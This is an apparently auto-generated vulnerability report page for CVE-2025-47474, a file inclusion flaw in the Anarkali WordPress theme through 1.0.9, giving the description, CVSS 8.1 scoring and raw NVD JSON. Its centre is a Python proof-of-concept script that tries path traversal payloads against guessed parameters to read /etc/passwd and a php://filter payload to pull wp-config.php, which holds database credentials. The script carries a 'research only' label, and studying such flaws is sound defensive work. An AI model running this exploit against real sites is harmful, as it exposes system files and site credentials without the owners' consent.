Security Vulnerability Report
中文
CVE-2025-47474 CVSS 8.1 HIGH

CVE-2025-47474

Published: 2026-01-22 17:15:54
Last Modified: 2026-04-27 19:16:14

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Ninetheme Anarkali anarkali allows PHP Local File Inclusion.This issue affects Anarkali: from n/a through <= 1.0.9.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Ninetheme Anarkali <= 1.0.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-47474 PoC - Ninetheme Anarkali LFI/RFI # Target: WordPress site using Anarkali theme <= 1.0.9 def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-47474""" # Test 1: Local File Inclusion - Read /etc/passwd lfi_payloads = [ '../../../../etc/passwd', '../../../../../../etc/passwd', 'php://filter/convert.base64-encode/resource=wp-config.php' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-47474: Anarkali Theme LFI/RFI\n") # Common vulnerable parameters params = ['file', 'page', 'template', 'view', 'action', 'include'] for param in params: for payload in lfi_payloads: try: test_url = f"{target_url}?{param}={payload}" response = requests.get(test_url, timeout=10, verify=False) if 'root:' in response.text or 'daemon:' in response.text: print(f"[!] VULNERABLE! Parameter: {param}") print(f"[!] Payload: {payload}") print(f"[!] Response contains /etc/passwd content") return True if 'wordpress' in payload and 'PD9' in response.text: print(f"[!] VULNERABLE! Base64 encoded wp-config.php leaked") return True except requests.RequestException as e: print(f"[-] Error testing {param}={payload}: {e}") print(f"[*] Target may not be vulnerable or using different parameter") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-47474", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:54.497", "lastModified": "2026-04-27T19:16:13.697", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Ninetheme Anarkali anarkali allows PHP Local File Inclusion.This issue affects Anarkali: from n/a through <= 1.0.9."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración include/require en un programa PHP (vulnerabilidad de 'inclusión remota de ficheros PHP') en Ninetheme Anarkali anarkali permite la inclusión local de ficheros PHP. Este problema afecta a Anarkali: desde n/d hasta &lt;= 1.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/anarkali/vulnerability/wordpress-anarkali-theme-1-0-9-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}